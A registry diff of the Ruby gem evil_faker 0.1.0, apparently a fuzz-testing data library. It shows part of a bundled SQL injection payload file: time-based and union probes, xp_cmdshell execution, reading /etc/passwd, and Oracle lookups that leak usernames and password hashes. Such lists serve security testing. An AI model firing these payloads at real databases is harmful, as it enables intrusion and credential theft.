evil_faker 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (135) hide show
  1. checksums.yaml +7 -0
  2. data/CHANGELOG.md +62 -0
  3. data/GENERATORS.md +164 -0
  4. data/LICENSE.txt +21 -0
  5. data/NOTICE.md +196 -0
  6. data/README.md +156 -0
  7. data/Rakefile +12 -0
  8. data/lib/evil_faker/base.rb +50 -0
  9. data/lib/evil_faker/data/blns.txt +742 -0
  10. data/lib/evil_faker/data/groups/blns/emoji/emoji.txt +10 -0
  11. data/lib/evil_faker/data/groups/blns/emoji/emoticons.txt +12 -0
  12. data/lib/evil_faker/data/groups/blns/emoji/regional.txt +3 -0
  13. data/lib/evil_faker/data/groups/blns/exploits/cves.txt +4 -0
  14. data/lib/evil_faker/data/groups/blns/exploits/human.txt +1 -0
  15. data/lib/evil_faker/data/groups/blns/exploits/ios.txt +3 -0
  16. data/lib/evil_faker/data/groups/blns/exploits/irc.txt +1 -0
  17. data/lib/evil_faker/data/groups/blns/filenames.txt +14 -0
  18. data/lib/evil_faker/data/groups/blns/injection/command.txt +6 -0
  19. data/lib/evil_faker/data/groups/blns/injection/file_inclusion.txt +2 -0
  20. data/lib/evil_faker/data/groups/blns/injection/interpolation.txt +9 -0
  21. data/lib/evil_faker/data/groups/blns/injection/jinja2.txt +2 -0
  22. data/lib/evil_faker/data/groups/blns/injection/script.txt +236 -0
  23. data/lib/evil_faker/data/groups/blns/injection/server_code.txt +9 -0
  24. data/lib/evil_faker/data/groups/blns/injection/sql.txt +8 -0
  25. data/lib/evil_faker/data/groups/blns/injection/xxe.txt +1 -0
  26. data/lib/evil_faker/data/groups/blns/numeric/numeric.txt +71 -0
  27. data/lib/evil_faker/data/groups/blns/numeric/unicode_numbers.txt +2 -0
  28. data/lib/evil_faker/data/groups/blns/profanity.txt +22 -0
  29. data/lib/evil_faker/data/groups/blns/reserved.txt +19 -0
  30. data/lib/evil_faker/data/groups/blns/rtl.txt +7 -0
  31. data/lib/evil_faker/data/groups/blns/terminal.txt +3 -0
  32. data/lib/evil_faker/data/groups/blns/unicode/accents.txt +4 -0
  33. data/lib/evil_faker/data/groups/blns/unicode/bom.txt +2 -0
  34. data/lib/evil_faker/data/groups/blns/unicode/controls.txt +3 -0
  35. data/lib/evil_faker/data/groups/blns/unicode/font.txt +8 -0
  36. data/lib/evil_faker/data/groups/blns/unicode/lowercase.txt +2 -0
  37. data/lib/evil_faker/data/groups/blns/unicode/quotes.txt +11 -0
  38. data/lib/evil_faker/data/groups/blns/unicode/scripts.txt +2 -0
  39. data/lib/evil_faker/data/groups/blns/unicode/special.txt +4 -0
  40. data/lib/evil_faker/data/groups/blns/unicode/symbols.txt +12 -0
  41. data/lib/evil_faker/data/groups/blns/unicode/trick.txt +5 -0
  42. data/lib/evil_faker/data/groups/blns/unicode/two_byte.txt +10 -0
  43. data/lib/evil_faker/data/groups/blns/unicode/upsidedown.txt +2 -0
  44. data/lib/evil_faker/data/groups/blns/unicode/whitespace.txt +1 -0
  45. data/lib/evil_faker/data/groups/blns/zalgo.txt +5 -0
  46. data/lib/evil_faker/data/groups/fuzzdb/email/invalid.txt +26 -0
  47. data/lib/evil_faker/data/groups/fuzzdb/email/valid.txt +32 -0
  48. data/lib/evil_faker/data/groups/fuzzdb/emoji/emoji.txt +8 -0
  49. data/lib/evil_faker/data/groups/fuzzdb/emoji/emoticons.txt +11 -0
  50. data/lib/evil_faker/data/groups/fuzzdb/emoji/regional.txt +3 -0
  51. data/lib/evil_faker/data/groups/fuzzdb/exploits/ios.txt +1 -0
  52. data/lib/evil_faker/data/groups/fuzzdb/headers/mimetypes.txt +1864 -0
  53. data/lib/evil_faker/data/groups/fuzzdb/headers/protocol.txt +357 -0
  54. data/lib/evil_faker/data/groups/fuzzdb/injection/command.txt +1115 -0
  55. data/lib/evil_faker/data/groups/fuzzdb/injection/directory_traversal.txt +536 -0
  56. data/lib/evil_faker/data/groups/fuzzdb/injection/file_inclusion.txt +906 -0
  57. data/lib/evil_faker/data/groups/fuzzdb/injection/file_upload_bypass.txt +371 -0
  58. data/lib/evil_faker/data/groups/fuzzdb/injection/format_strings.txt +67 -0
  59. data/lib/evil_faker/data/groups/fuzzdb/injection/generic.txt +584 -0
  60. data/lib/evil_faker/data/groups/fuzzdb/injection/integer_overflow.txt +12 -0
  61. data/lib/evil_faker/data/groups/fuzzdb/injection/json.txt +89 -0
  62. data/lib/evil_faker/data/groups/fuzzdb/injection/ldap.txt +35 -0
  63. data/lib/evil_faker/data/groups/fuzzdb/injection/magic_hashes.txt +24 -0
  64. data/lib/evil_faker/data/groups/fuzzdb/injection/nosql.txt +17 -0
  65. data/lib/evil_faker/data/groups/fuzzdb/injection/open_redirect.txt +37 -0
  66. data/lib/evil_faker/data/groups/fuzzdb/injection/rfi.txt +2241 -0
  67. data/lib/evil_faker/data/groups/fuzzdb/injection/script.txt +930 -0
  68. data/lib/evil_faker/data/groups/fuzzdb/injection/server_side_include.txt +78 -0
  69. data/lib/evil_faker/data/groups/fuzzdb/injection/source_disclosure.txt +18 -0
  70. data/lib/evil_faker/data/groups/fuzzdb/injection/sql.txt +661 -0
  71. data/lib/evil_faker/data/groups/fuzzdb/injection/ssrf.txt +56 -0
  72. data/lib/evil_faker/data/groups/fuzzdb/injection/type_confusion.txt +329 -0
  73. data/lib/evil_faker/data/groups/fuzzdb/injection/xpath.txt +13 -0
  74. data/lib/evil_faker/data/groups/fuzzdb/injection/xxe.txt +65 -0
  75. data/lib/evil_faker/data/groups/fuzzdb/routes/debug_params.txt +157 -0
  76. data/lib/evil_faker/data/groups/fuzzdb/routes/directory_indexing.txt +15 -0
  77. data/lib/evil_faker/data/groups/fuzzdb/routes/local_paths.txt +26 -0
  78. data/lib/evil_faker/data/groups/fuzzdb/rtl.txt +5 -0
  79. data/lib/evil_faker/data/groups/fuzzdb/terminal.txt +3 -0
  80. data/lib/evil_faker/data/groups/fuzzdb/unicode/bad_chars.txt +15 -0
  81. data/lib/evil_faker/data/groups/fuzzdb/unicode/special.txt +31 -0
  82. data/lib/evil_faker/data/groups/fuzzdb/unicode/trick.txt +5 -0
  83. data/lib/evil_faker/data/groups/fuzzdb/unicode/two_byte.txt +9 -0
  84. data/lib/evil_faker/data/groups/fuzzdb/unicode/upsidedown.txt +2 -0
  85. data/lib/evil_faker/data/groups/intruder_payloads/filenames.txt +124 -0
  86. data/lib/evil_faker/data/groups/intruder_payloads/injection/command.txt +445 -0
  87. data/lib/evil_faker/data/groups/intruder_payloads/injection/directory_traversal.txt +2578 -0
  88. data/lib/evil_faker/data/groups/intruder_payloads/injection/file_inclusion.txt +698 -0
  89. data/lib/evil_faker/data/groups/intruder_payloads/injection/generic.txt +1401 -0
  90. data/lib/evil_faker/data/groups/intruder_payloads/injection/overflow.txt +36 -0
  91. data/lib/evil_faker/data/groups/intruder_payloads/injection/script.txt +61 -0
  92. data/lib/evil_faker/data/groups/intruder_payloads/injection/server_side_include.txt +18 -0
  93. data/lib/evil_faker/data/groups/intruder_payloads/injection/sql.txt +753 -0
  94. data/lib/evil_faker/data/groups/intruder_payloads/injection/xxe.txt +66 -0
  95. data/lib/evil_faker/data/groups/intruder_payloads/unicode/bad_chars.txt +1 -0
  96. data/lib/evil_faker/data/groups/payloads_all_the_things/headers/cache_deception.txt +1125 -0
  97. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/command.txt +496 -0
  98. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/directory_traversal.txt +22607 -0
  99. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/file_inclusion.txt +4787 -0
  100. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/ldap.txt +60 -0
  101. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/nosql.txt +26 -0
  102. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/open_redirect.txt +305 -0
  103. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/script.txt +2165 -0
  104. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/sql.txt +1354 -0
  105. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/ssti.txt +105 -0
  106. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/xxe.txt +102 -0
  107. data/lib/evil_faker/data/groups/payloads_all_the_things/routes/admin_interfaces.txt +52 -0
  108. data/lib/evil_faker/groups/email.rb +11 -0
  109. data/lib/evil_faker/groups/emoji.rb +12 -0
  110. data/lib/evil_faker/groups/exploits.rb +13 -0
  111. data/lib/evil_faker/groups/filenames.rb +8 -0
  112. data/lib/evil_faker/groups/headers.rb +12 -0
  113. data/lib/evil_faker/groups/injection.rb +35 -0
  114. data/lib/evil_faker/groups/numeric.rb +11 -0
  115. data/lib/evil_faker/groups/profanity.rb +8 -0
  116. data/lib/evil_faker/groups/reserved.rb +8 -0
  117. data/lib/evil_faker/groups/routes.rb +13 -0
  118. data/lib/evil_faker/groups/rtl.rb +8 -0
  119. data/lib/evil_faker/groups/terminal.rb +8 -0
  120. data/lib/evil_faker/groups/unicode.rb +23 -0
  121. data/lib/evil_faker/groups/zalgo.rb +8 -0
  122. data/lib/evil_faker/source_base.rb +30 -0
  123. data/lib/evil_faker/sources/blns.rb +8 -0
  124. data/lib/evil_faker/sources/fuzzdb.rb +8 -0
  125. data/lib/evil_faker/sources/intruder_payloads.rb +8 -0
  126. data/lib/evil_faker/sources/payloads_all_the_things.rb +8 -0
  127. data/lib/evil_faker/version.rb +5 -0
  128. data/lib/evil_faker.rb +13 -0
  129. data/scripts/blns_build_corpus.rb +159 -0
  130. data/scripts/fuzzdb_build_corpus.rb +166 -0
  131. data/scripts/generate_namespaces.rb +87 -0
  132. data/scripts/intruder_payloads_build_corpus.rb +112 -0
  133. data/scripts/payloads_all_the_things_build_corpus.rb +74 -0
  134. data/sig/evil_faker.rbs +4 -0
  135. metadata +181 -0
@@ -0,0 +1,661 @@
1
+ sleep(__TIME__)#
2
+ 1 or sleep(__TIME__)#
3
+ " or sleep(__TIME__)#
4
+ ' or sleep(__TIME__)#
5
+ " or sleep(__TIME__)="
6
+ ' or sleep(__TIME__)='
7
+ 1) or sleep(__TIME__)#
8
+ ") or sleep(__TIME__)="
9
+ ') or sleep(__TIME__)='
10
+ 1)) or sleep(__TIME__)#
11
+ ")) or sleep(__TIME__)="
12
+ ')) or sleep(__TIME__)='
13
+ ;waitfor delay '0:0:__TIME__'--
14
+ );waitfor delay '0:0:__TIME__'--
15
+ ';waitfor delay '0:0:__TIME__'--
16
+ ";waitfor delay '0:0:__TIME__'--
17
+ ');waitfor delay '0:0:__TIME__'--
18
+ ");waitfor delay '0:0:__TIME__'--
19
+ ));waitfor delay '0:0:__TIME__'--
20
+ '));waitfor delay '0:0:__TIME__'--
21
+ "));waitfor delay '0:0:__TIME__'--
22
+ benchmark(10000000,MD5(1))#
23
+ 1 or benchmark(10000000,MD5(1))#
24
+ " or benchmark(10000000,MD5(1))#
25
+ ' or benchmark(10000000,MD5(1))#
26
+ 1) or benchmark(10000000,MD5(1))#
27
+ ") or benchmark(10000000,MD5(1))#
28
+ ') or benchmark(10000000,MD5(1))#
29
+ 1)) or benchmark(10000000,MD5(1))#
30
+ ")) or benchmark(10000000,MD5(1))#
31
+ ')) or benchmark(10000000,MD5(1))#
32
+ ; --
33
+ '; --
34
+ '); --
35
+ '; exec master..xp_cmdshell 'ping 10.10.1.2'--
36
+ ' grant connect to name; grant resource to name; --
37
+ ' or 1=1 --
38
+ ' union (select @@version) --
39
+ ' union (select NULL, (select @@version)) --
40
+ ' union (select NULL, NULL, (select @@version)) --
41
+ ' union (select NULL, NULL, NULL, (select @@version)) --
42
+ ' union (select NULL, NULL, NULL, NULL, (select @@version)) --
43
+ ' union (select NULL, NULL, NULL, NULL, NULL, (select @@version)) --
44
+ '; if not(substring((select @@version),25,1) <> 0) waitfor delay '0:0:2' --
45
+ '; if not(substring((select @@version),25,1) <> 5) waitfor delay '0:0:2' --
46
+ '; if not(substring((select @@version),25,1) <> 8) waitfor delay '0:0:2' --
47
+ '; if not(substring((select @@version),24,1) <> 1) waitfor delay '0:0:2' --
48
+ '; if not(select system_user) <> 'sa' waitfor delay '0:0:2' --
49
+ '; if is_srvrolemember('sysadmin') > 0 waitfor delay '0:0:2' --
50
+ '; if not((select serverproperty('isintegratedsecurityonly')) <> 1) waitfor delay '0:0:2' --
51
+ '; if not((select serverproperty('isintegratedsecurityonly')) <> 0) waitfor delay '0:0:2' --
52
+ 1'1
53
+ 1 exec sp_ (or exec xp_)
54
+ 1 and 1=1
55
+ 1' and 1=(select count(*) from tablenames); --
56
+ 1 or 1=1
57
+ 1' or '1'='1
58
+ 1or1=1
59
+ 1'or'1'='1
60
+ fake@ema'or'il.nl'='il.nl
61
+ 1
62
+ 1 and user_name() = 'dbo'
63
+ \'; desc users; --
64
+ 1\'1
65
+ 1' and non_existant_table = '1
66
+ ' or username is not NULL or username = '
67
+ 1 and ascii(lower(substring((select top 1 name from sysobjects where xtype='u'), 1, 1))) > 116
68
+ 1 union all select 1,2,3,4,5,6,name from sysobjects where xtype = 'u' --
69
+ 1 uni/**/on select all from where
70
+ ’ or ‘1’=’1
71
+ ' or '1'='1
72
+ '||utl_http.request('httP://192.168.1.1/')||'
73
+ ' || myappadmin.adduser('admin', 'newpass') || '
74
+ ' AND 1=utl_inaddr.get_host_address((SELECT banner FROM v$version WHERE ROWNUM=1)) AND 'i'='i
75
+ ' AND 1=utl_inaddr.get_host_address((SELECT SYS.LOGIN_USER FROM DUAL)) AND 'i'='i
76
+ ' AND 1=utl_inaddr.get_host_address((SELECT SYS.DATABASE_NAME FROM DUAL)) AND 'i'='i
77
+ ' AND 1=utl_inaddr.get_host_address((SELECT host_name FROM v$instance)) AND 'i'='i
78
+ ' AND 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name)) AND 'i'='i
79
+ ' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS)) AND 'i'='i
80
+ ' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(PASSWORD)) FROM SYS.USER$)) AND 'i'='i
81
+ ' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(table_name)) FROM sys.all_tables)) AND 'i'='i
82
+ ' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(column_name)) FROM sys.all_tab_columns)) AND 'i'='i
83
+ ' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(GRANTED_ROLE)) FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER)) AND 'i'='i
84
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1)) AND 'i'='i
85
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=1)) AND 'i'='i
86
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=1)) AND 'i'='i
87
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=1)) AND 'i'='i
88
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=1)) AND 'i'='i
89
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=2)) AND 'i'='i
90
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=2)) AND 'i'='i
91
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=2)) AND 'i'='i
92
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=2)) AND 'i'='i
93
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=2)) AND 'i'='i
94
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=3)) AND 'i'='i
95
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=3)) AND 'i'='i
96
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=3)) AND 'i'='i
97
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=3)) AND 'i'='i
98
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=3)) AND 'i'='i
99
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=4)) AND 'i'='i
100
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=4)) AND 'i'='i
101
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=4)) AND 'i'='i
102
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=4)) AND 'i'='i
103
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=4)) AND 'i'='i
104
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=5)) AND 'i'='i
105
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=5)) AND 'i'='i
106
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=5)) AND 'i'='i
107
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=5)) AND 'i'='i
108
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=5)) AND 'i'='i
109
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=6)) AND 'i'='i
110
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=6)) AND 'i'='i
111
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=6)) AND 'i'='i
112
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=6)) AND 'i'='i
113
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=6)) AND 'i'='i
114
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=7)) AND 'i'='i
115
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=7)) AND 'i'='i
116
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=7)) AND 'i'='i
117
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=7)) AND 'i'='i
118
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=7)) AND 'i'='i
119
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=8)) AND 'i'='i
120
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=8)) AND 'i'='i
121
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=8)) AND 'i'='i
122
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=8)) AND 'i'='i
123
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=8)) AND 'i'='i
124
+ <>"'%;)(&+
125
+ |
126
+ !
127
+ ?
128
+ /
129
+ //
130
+ //*
131
+ '
132
+ ' --
133
+ (
134
+ )
135
+ *|
136
+ */*
137
+ &
138
+ 0
139
+ 031003000270000
140
+ 0 or 1=1
141
+ 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)
142
+ 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A
143
+ 0x77616974666F722064656C61792027303A303A31302700 exec(@s)
144
+ 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
145
+ 1;SELECT%20*
146
+ 1 waitfor delay '0:0:10'--
147
+ '%20or%20''='
148
+ '%20or%201=1
149
+ ')%20or%20('x'='x
150
+ '%20or%20'x'='x
151
+ %20or%20x=x
152
+ %20'sleep%2050'
153
+ %20$(sleep%2050)
154
+ %21
155
+ 23 OR 1=1
156
+ %26
157
+ %27%20or%201=1
158
+ %28
159
+ %29
160
+ %2A%28%7C%28mail%3D%2A%29%29
161
+ %2A%28%7C%28objectclass%3D%2A%29%29
162
+ %2A%7C
163
+ ||6
164
+ '||'6
165
+ (||6)
166
+ %7C
167
+ a'
168
+ admin' or '
169
+ ' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
170
+ ' and 1 in (select var from temp)--
171
+ anything' OR 'x'='x
172
+ "a"" or 1=1--"
173
+ a' or 1=1--
174
+ "a"" or 3=3--"
175
+ a' or 3=3--
176
+ a' or 'a' = 'a
177
+ &apos;%20OR
178
+ as
179
+ asc
180
+ a' waitfor delay '0:0:10'--
181
+ '; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login >
182
+ bfilename
183
+ char%4039%41%2b%40SELECT
184
+ declare @q nvarchar (200) 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)
185
+ declare @q nvarchar (200) select @q = 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A0031003000270000 exec(@q)
186
+ declare @q nvarchar (4000) select @q =
187
+ declare @s varchar (200) select @s = 0x73656c65637420404076657273696f6e exec(@s)
188
+ declare @s varchar(200) select @s = 0x77616974666F722064656C61792027303A303A31302700 exec(@s)
189
+ declare @s varchar(22) select @s =
190
+ declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e
191
+ delete
192
+ desc
193
+ distinct
194
+ '||(elt(-3+5,bin(15),ord(10),hex(char(45))))
195
+ '; exec master..xp_cmdshell
196
+ '; exec master..xp_cmdshell 'ping 172.10.1.255'--
197
+ exec(@s)
198
+ '; exec ('sel' + 'ect us' + 'er')
199
+ exec sp
200
+ '; execute immediate 'sel' || 'ect us' || 'er'
201
+ exec xp
202
+ '; exec xp_regread
203
+ ' group by userid having 1=1--
204
+ handler
205
+ having
206
+ ' having 1=1--
207
+ hi or 1=1 --"
208
+ hi' or 1=1 --
209
+ "hi"") or (""a""=""a"
210
+ hi or a=a
211
+ hi' or 'a'='a
212
+ hi') or ('a'='a
213
+ 'hi' or 'x'='x';
214
+ insert
215
+ like
216
+ limit
217
+ *(|(mail=*))
218
+ *(|(objectclass=*))
219
+ or
220
+ ' or ''='
221
+ or 0=0 #"
222
+ ' or 0=0 --
223
+ ' or 0=0 #
224
+ " or 0=0 --
225
+ or 0=0 --
226
+ or 0=0 #
227
+ ' or 1 --'
228
+ ' or 1/*
229
+ ; or '1'='1'
230
+ ' or '1'='1'--
231
+ ' or 1=1
232
+ ' or 1=1 /*
233
+ ' or 1=1--
234
+ ' or 1=1--
235
+ '/**/or/**/1/**/=/**/1
236
+ ‘ or 1=1 --
237
+ " or 1=1--
238
+ or 1=1
239
+ or 1=1--
240
+ or 1=1 or ""=
241
+ ' or 1=1 or ''='
242
+ ' or 1 in (select @@version)--
243
+ or%201=1
244
+ or%201=1 --
245
+ ' or 2 > 1
246
+ ' or 2 between 1 and 3
247
+ ' or 3=3
248
+ ‘ or 3=3 --
249
+ ' or '7659'='7659
250
+ or a=a
251
+ or a = a
252
+ ' or 'a'='a
253
+ ' or a=a--
254
+ ') or ('a'='a
255
+ " or "a"="a
256
+ ) or (a=a
257
+ order by
258
+ ' or (EXISTS)
259
+ or isNULL(1/0) /*
260
+ " or isNULL(1/0) /*
261
+ ' or 'something' like 'some%'
262
+ ' or 'something' = 'some'+'thing'
263
+ ' or 'text' = n'text'
264
+ ' or 'text' > 't'
265
+ ' or uid like '%
266
+ ' or uname like '%
267
+ ' or 'unusual' = 'unusual'
268
+ ' or userid like '%
269
+ ' or user like '%
270
+ ' or username like '%
271
+ ' or username like char(37);
272
+ ' or 'whatever' in ('whatever')
273
+ ' -- &password=
274
+ password:*/=1--
275
+ PRINT
276
+ PRINT @@variable
277
+ procedure
278
+ replace
279
+ select
280
+ ' select * from information_schema.tables--
281
+ ' select name from syscolumns where id = (select id from sysobjects where name = tablename')--
282
+ ' (select top 1
283
+ --sp_password
284
+ 'sqlattempt1
285
+ (sqlattempt2)
286
+ 'sqlvuln
287
+ '+sqlvuln
288
+ (sqlvuln)
289
+ sqlvuln;
290
+ t'exec master..xp_cmdshell 'nslookup www.google.com'--
291
+ to_timestamp_tz
292
+ truncate
293
+ tz_offset
294
+ ' UNION ALL SELECT
295
+ ' union all select @@version--
296
+ ' union select
297
+ uni/**/on sel/**/ect
298
+ ' UNION SELECT
299
+ ' union select 1,load_file('/etc/passwd'),1,1,1;
300
+ ) union select * from information_schema.tables;
301
+ ' union select * from users where login = char(114,111,111,116);
302
+ update
303
+ '||UTL_HTTP.REQUEST
304
+ ,@variable
305
+ @variable
306
+ @var select @var as var into temp end --
307
+ \x27UNION SELECT
308
+ x' AND 1=(SELECT COUNT(*) FROM tabname); --
309
+ x' AND email IS NULL; --
310
+ x' AND members.email IS NULL; --
311
+ x' AND userid IS NULL; --
312
+ x' or 1=1 or 'x'='y
313
+ x' OR full_name LIKE '%Bob%
314
+ ý or 1=1 --
315
+ select versionnumber, version_timestamp from sysibm.sysversions;
316
+ select user from sysibm.sysdummy1;
317
+ select session_user from sysibm.sysdummy1;
318
+ select system_user from sysibm.sysdummy1;
319
